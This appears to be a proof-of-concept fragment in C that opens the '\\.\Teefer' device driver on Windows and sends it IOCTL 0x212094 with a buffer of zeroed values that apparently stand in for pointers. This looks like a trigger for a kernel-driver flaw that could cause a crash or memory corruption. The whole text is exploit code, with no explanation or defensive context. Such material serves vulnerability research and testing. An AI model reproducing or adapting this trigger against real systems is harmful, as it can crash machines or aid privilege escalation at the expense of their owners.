hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failed\n");
	}
	else
	{
		printf("Device opened.\n");
										
		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;
			
		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.\n");
												
		CloseHandle(hDevice);
	}